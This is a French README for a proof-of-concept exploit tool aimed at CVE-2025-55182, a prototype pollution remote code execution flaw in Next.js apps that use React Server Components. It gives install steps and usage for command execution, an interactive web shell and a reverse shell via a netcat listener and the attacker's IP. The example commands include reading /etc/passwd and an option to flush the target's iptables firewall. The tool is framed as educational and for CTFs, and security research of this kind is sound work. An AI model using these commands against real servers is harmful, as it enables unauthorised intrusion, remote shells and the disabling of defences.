WEB-CLI_RCE_React2Shell est un outil d'exploitation PoC éducatif pour CVE-2025-55182, une faille critique de pollution de prototype dans les applications Next.js utilisant les composants serveur React. Conçu pour les CTF et la recherche, il dispose d'un mode à commande unique, d'une CLI web interactive et de capacités de shell inverse pour démontrer la RCE.
Cet outil est un simple exploit Proof-of-Concept (PoC) pour CVE-2025-55182. Il s'agit d'une grave faille (Prototype Pollution) trouvée dans les applications Next.js qui utilisent React Server Components.
Si un serveur cible est vulnérable, ce script permet d'exécuter des commandes du système d'exploitation sur celui-ci (Remote Code Execution, ou RCE).
Cet outil est conçu pour l'apprentissage, les CTF et la recherche en sécurité responsable.
UTILISEZ-LE DE MANIÈRE ÉTHIQUE. Exécutez cet exploit uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite et documentée. Toute utilisation non autorisée est illégale. Cet outil est uniquement destiné à des fins éducatives.
Cet outil propose trois façons principales d'exécuter des commandes : une simple commande unique, une console web interactive complète et une tentative de reverse shell classique.
Obtenez le code :
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Installez la bibliothèque :
pip install requests
C'est la façon la plus simple d'interagir avec la cible. Il démarre une page web locale sur votre machine qui agit comme un terminal.
Exécutez le script :
python3 exploit.py <TARGET_URL> --web-cli
Exemple : python3 exploit.py http://target.com/ --web-cli
Ouvrez votre navigateur : Le script vous demandera d'ouvrir http://127.0.0.1:8000/. Vous pouvez ensuite taper des commandes (comme ls, whoami, cat /etc/passwd) directement dans la page web.
Exécutez une commande et obtenez la sortie immédiatement dans votre terminal local. Idéal pour des vérifications rapides comme trouver votre ID utilisateur.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Exemple : python3 exploit.py http://target.com/ --cmd 'id'
Utilisez ce mode si vous souhaitez une connexion stable et persistante. Remarque : Cela échoue souvent dans les environnements réels à cause des pare-feux (filtrage sortant).
Démarrez votre écouteur (ex. netcat) :
nc -lvnp 55555
Exécutez l'exploit :
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <VOTRE_IP> : L'IP de votre machine.-p 55555 : Le port utilisé par votre écouteur.--flush (Optionnel) : Tente d'exécuter iptables -F sur la cible en premier lieu pour vider les pare-feux de l'hôte.L'exploit utilise une faille de Prototype Pollution pour parvenir à une RCE.
Object.prototype).child_process de Node.js). Nous remplaçons la valeur de cette propriété par notre commande shell.execSync) et lève immédiatement une erreur inoffensive. La sortie de la commande est astucieusement insérée dans le champ digest du message d'erreur. Le script Python lit ensuite ce champ pour obtenir les résultats.Cette recherche s'appuie sur les travaux initiaux et la divulgation de la communauté de la sécurité. Merci à tous les chercheurs et contributeurs open-source.